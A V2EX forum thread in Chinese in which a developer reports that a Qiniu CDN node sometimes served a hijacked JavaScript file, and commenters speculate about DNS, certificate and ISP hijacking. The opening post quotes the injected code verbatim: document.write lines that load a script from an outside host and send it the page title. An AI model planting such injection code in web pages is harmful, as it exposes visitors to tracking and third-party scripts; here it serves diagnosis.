七牛某个节点被劫持了

2015-08-13 11:14:42 +08:00
 tomwan

昨天发现公司网站偶尔会无法访问,发现个别时候某个访问https://dn-shimo-assets.qbox.me/assets/scripts/home-a2e8c81c8f.js当解析到218.75.154.115这个ip地址的时候返回的结果不是正常的压缩过的js内容,而是

document.write("<script language='javascript' src='http://dn-shimo-assets.qbox.me/assets/scripts/home-a2e8c81c8f.js?_vv=20080808'></script>");document.write("<script language='javascript' src='http://p.ywbmh.com:7777/pt/pt.php?src=p0005&t="+encodeURIComponent(document.title)+"&ci=2875964025'></script>");

目测这货是试图用 _vv 参数来让浏览器访问其他节点读取这个js好让用户可以正常访问,但是不巧公司网站是https的,https里加载httpjs资源是会页面报错的,然后就被我发现了。
v友有谁遇到过这玩意吗?在七牛上提交了工单,但是一天了,木人鸟我,电话也打了,说是会回复工单,然而并没有。


5917 次点击
所在节点    云计算
20 条回复
virusdefender
2015-08-13 11:55:32 +08:00
https 的也会劫持么?
ccbikai
2015-08-13 12:02:59 +08:00
@virusdefender DNS 劫持
bilok
2015-08-13 13:06:43 +08:00
dns劫持证书会报错吧
乱签证书会被全球吊销根证书吧
应该是某台服务器上缓存出问题被劫持了
Agromania
2015-08-13 13:11:49 +08:00
gamexg
2015-08-13 13:15:42 +08:00
同样的疑问https没报证书错误?
七牛的证书私钥泄露了?
gamexg
2015-08-13 13:17:02 +08:00
gamexg
2015-08-13 13:33:38 +08:00
这个应该是正确的 http 响应:

Accept-Ranges:bytes
Access-Control-Allow-Origin:*
Access-Control-Max-Age:2592000
Cache-Control:public, max-age=31536000
Connection:keep-alive
Content-Disposition:inline; filename="home-a2e8c81c8f.js"
Content-Encoding:gzip
Content-Transfer-Encoding:binary
Content-Type:application/javascript
Date:Thu, 13 Aug 2015 05:25:49 GMT
ETag:"Fr4cMb1JgqsOHYneDzsn7Kkt3dFi.gz"
Last-Modified:Tue, 11 Aug 2015 07:11:13 GMT
Server:nginx/1.4.4
Transfer-Encoding:chunked
X-Log:mc.g;IO:2
X-Qiniu-Zone:0
X-Reqid:QQgAAMyZzA093fkT
X-Via:1.1 nn121:8080 (Cdn Cache Server V2.0), 1.1 jiax13:2 (Cdn Cache Server V2.0)


和楼主的截图出错时的http头不相同,印象中七牛为了防止出现跨域问题都带 Access-Control-Allow-Origin:* 头的。
dianso
2015-08-13 13:43:05 +08:00
等吧,总有轮到你工单的时候。
lsylsy2
2015-08-13 13:44:40 +08:00
HTTPS的话,七牛到你的电脑应该是不会被修改的……
我们可以得出结论 七牛在边缘节点到源节点的路径是明文传输的?
zhuang
2015-08-13 13:49:25 +08:00
我猜当前 cdn 服务器的缓存失效了,通过增加 _vv 参数指向不存在的内容实现重定向回源。

我不清楚七牛是如何做 ssl cdn 的,应该没有证书托管或者直接使用七牛的证书吧?具体实现就是全站 https,但是来源有你自己的服务器,也有来自七牛的服务器,各自使用各自的证书。

这种使用模式是有安全隐患的,具体可以参考我在另一个帖子 #12 的回复。

https://v2ex.com/t/201769#reply12
hgc81538
2015-08-13 13:51:56 +08:00
我想了一個可能性:
1) 用戶訪問七牛
2) 七牛沒有記錄, 回源取文件
3) 运营商劫持七牛與源的通訊
4) 七牛取得被劫持的文件
5) 七牛缓存文件並響應用戶被劫持的文件
rwifeng
2015-08-13 13:52:16 +08:00
@tomwan 工单应该在你的注册邮箱里, 可以查找下
Esec
2015-08-13 14:15:39 +08:00
tomwan
2015-08-13 14:49:35 +08:00
@Esec 一毛一样啊。。。看来可能不是七牛的锅
tomwan
2015-08-13 14:59:13 +08:00
@rwifeng sunquan#shimo.im,运维哥哥说没有收到呀
tomwan
2015-08-13 15:02:03 +08:00
@rwifeng 不过昨天晚上快一点的时候回复了,忘记看了,不好意思
tomwan
2015-08-13 15:03:13 +08:00
@hgc81538 七牛能取到被劫持的文件吗?估计七牛是受害者。。
tomwan
2015-08-13 15:07:58 +08:00
@zhuang 证书托管比较贵,没有做,用的是七牛的证书。看了你的`post`,很不错
realpg
2015-08-13 16:08:04 +08:00
你这是运营商干的
跟七牛没关系

找运营商去
zsmjcnm
2015-08-26 16:25:18 +08:00
啃爹

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/212885

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX